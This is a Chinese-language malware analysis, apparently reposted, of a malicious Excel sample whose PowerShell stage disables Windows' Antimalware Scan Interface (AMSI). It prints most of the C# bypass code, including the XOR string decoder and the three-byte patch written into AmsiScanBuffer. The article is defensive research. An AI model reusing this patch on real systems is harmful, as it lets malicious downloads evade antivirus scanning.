内容简介:前言在本文中,我将详细介绍一种禁用恶意软件概述
前言
在本文中,我将详细介绍一种禁用 反恶意软件扫描接口(AMSI) 的技术。这是在Microsoft Windows中的一个内部功能,用于使用系统上安装的反恶意软件对数据进行扫描。我们举例说明,该特性允许应用程序在将数据写入文件之前,请求扫描下载的数据。如果一个恶意软件可以禁用此接口,那么它就可以逃避反病毒检测。在本文中,我们将对从客户那里拿到的一个恶意样本进行详细分析,并看看样本是如何绕过AMSI的。
恶意软件概述
在RTF格式的Excel文档中,都包含经过模糊后的宏:
通过阅读这个混淆后的代码,我们发现它以混淆后的形式,运行一个位于单元格G135内的命令:
经过这些多层次的混淆后,Excel文档宏最终会启动PowerShell。由于我们使用 工具 监控了隔离的虚拟机内部发生的活动,因此我们无需手动对这些层进行反模糊处理。经过对恶意文档威胁进行分析后,我们得到了PowerShell将要执行的完整脚本:
最终,该脚本尝试从被攻陷的网站下载可执行文件,然后执行该文件,这是一种非常常见的技术。该脚本甚至将请求中用户代理(User-agent)设置为明显无意义的字符串,被感染的服务器可能会利用该字符串来定制下载的Payload,或者使用它来跟踪不同的被感染主机。
禁用反病毒API
然而,在我们所分析的样本中,使用了一个不常见的技术。PowerShell脚本首先将一些经过XOR异或混淆的Base16编码文本转换为C#脚本,该脚本会禁用某些Microsoft反病毒API,以避免文件在下载时被扫描。
这一过程 使用PowerShell中的Add-Type命令加载一些C#代码 来实现此目的。加载这一C#代码后,PowerShell实例调用名为“o15b72”的类上的“rbc5492”方法,然后休眠1秒,之后下载并运行Payload以进行下一阶段的攻击。
C#代码使用以下的本地API:
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
我们最后再来分析“rbc5492”方法,该类中唯一存在的另一种方法是“v4bad81”:
public static string v4bad81(string strIn) { string rbf4534 = "a25baab"; string m941db = String.Empty; for (int i = 0; i < strIn.Length; i += 2) { byte b72323 = Convert.ToByte(strIn.Substring(i, 2), 16); m941db += (char)(b72323 ^ rbf4534[(i / 2) % rbf4534.Length]); } return m941db; }
在该方法的代码中,存在一些奇怪的缩进格式,可能表明恶意软件作者从其他地方复制了一些代码,或者没有对编写的代码进行良好的代码审查。
这个“v4bad81”方法,将接受一个字符串作为输入,对其执行一些解码,然后返回该字符串。
它会逐步遍历输入的字符串,每次2个字符,并使用Convert.ToByte以十六进制对其进行解码,具体是由第二个参数的16和字符串中的数字来定义的。然后,恶意软件会获取该值,并使用从“rbf4534”中提取的值对其进行异或,并将其附加到最终输出字符串。
混淆特定字符串
有趣的是,这种基于XOR的混淆方法与用于混淆C#代码的方法完全相同,甚至使用与PowerShell函数相同的密钥和方法名称。
接下来,就很自然把我们引导了“rbc5492”方法,我们将其拆解成几个部分,并逐一进行分析:
public static int rbc5492() { IntPtr k98a91f = LoadLibrary(v4bad81("005f460b4f050e0d")); if (k98a91f == IntPtr.Zero) { return 1; }
这部分代码将加载由模糊字符串“005f460b4f050e0d”描述的库。使用反混淆方法对其进行处理,我们将得到“amsi.dll”。因此,该代码只是加载反恶意软件扫描接口(AMSI)DLL的句柄。
IntPtr wc852 = GetProcAddress(k98a91f, v4bad81("205f460b3202030f704004070410")); if (wc852 == IntPtr.Zero) { return 1; }
然后,代码的下一部分使用该DLL句柄在混淆的字符串“205f460b3202030f704004070410”中加载函数的地址,该字符串去混淆后的原文为“AmsiScanBuffer”。此函数用于扫描缓冲区中的恶意软件内容。
UIntPtr dwSize = (UIntPtr)5; uint Zero = 0; if (!VirtualProtect(wc852, dwSize, 0x40, out Zero)) { return 1; }
然后,下一部分代码会将 “AmsiScanBuffer” 代码的内存权限更改为0x40,即PAGE_EXECUTE_READWRITE。这是为了允许恶意软件修改代码。
Byte[] Patch = { 0x31, 0xff, 0x90 }; IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); Marshal.Copy(Patch, 0, unmanagedPointer, 3); MoveMemory(new IntPtr(wc852.ToInt64() + 0x001b), unmanagedPointer, 3); return 0; }
这会将三个字节的内存复制到“AmsiScanBuffer”函数的0x1b(十进制为27)的偏移量中。执行此操作后,将会返回,这将返回到PowerShell脚本,该脚本会在下载之前休眠1秒钟。
那么,到AmsiScanBuffer函数的27个字节是什么?在64位 Windows 10 Redstone 4系统中,如下所示,修改后的指令在00007fff`f479243b处以红色突出显示(位于倒数第2行):
amsi!AmsiScanBuffer: 00007fff`f4792420 4c8bdc mov r11, rsp 00007fff`f4792423 49895b08 mov qword ptr [r11+8], rbx 00007fff`f4792427 49896b10 mov qword ptr [r11+10h], rbp 00007fff`f479242b 49897318 mov qword ptr [r11+18h], rsi 00007fff`f479242f 57 push rdi 00007fff`f4792430 4156 push r14 00007fff`f4792432 4157 push r15 00007fff`f4792434 4883ec70 sub rsp, 70h 00007fff`f4792438 4d8bf9 mov r15, r9 00007fff`f479243b 418bf8 mov edi, r8d <- Modified instruction 00007fff`f479243e 488bf2 mov rsi, rdx …
写入内存的三个字节会将修改后的指令转换为两条指令:
00007fff`f479243b 31ff xor edi, edi 00007fff`f479243d 90 nop
在这里,只需将edi设置为0,即可替换将r8d复制到edi的指令。这是因为,r8d在 x64调用约定 (Calling Convention)中保存了第三个函数参数。AmsiScanBuffer函数的原型是:
HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result );
通过确保第三个参数始终被视为0,该过程使得AmsiScanBuffer无效,因为它会始终认为正在扫描长度为0的缓冲区。由于这一修补过程是在PowerShell中完成的,因此结果是,PowerShell进程(并且只有该进程)对AmsiScanBuffer进行的任何调用都无效。这可以防止PowerShell将下载的代码传递给反恶意软件工具进行扫描,从而允许将恶意数据写入文件。
我们推测,PowerShell在这一C#代码之后执行1秒睡眠的原因,是为了确保刷新CPU指令缓存,后者是修改代码的过程中必须要执行的操作。但是,如果要实现这样的目的,我们不清楚为什么恶意软件没有选择使用 FlushInstructionCache 。
总结
其他的一些研究人员发现,禁用AMSI是一些 漏洞利用工具包 中提供的功能,因此我们可能会在野外观察到一些恶意软件中具有这一特性,并会执行禁用AMSI的操作。然而,在这一样本中所使用的C#代码与去年发布的 概念验证代码 非常相似,但这个样本中增加了对库名称和函数名称的混淆。
借助一些安全平台,可以使用轻量级虚拟机实现恶意软件的隔离,并且可以从外部查看该虚拟机,此类技术可以向用户提供检测或保护。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 红队技巧:绕过Sysmon检测
- Browlock flies使用完全混淆技术绕过检测
- 看我如何绕过WAF的XSS检测机制
- 新型诈骗花样多,使用多种混淆方法绕过安全检测
- 如果有人使用VENOM工具绕过反病毒检测,该如何防护?
- 攻防最前线:挖矿木马KingMiner使用多种逃避技术绕过检测
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。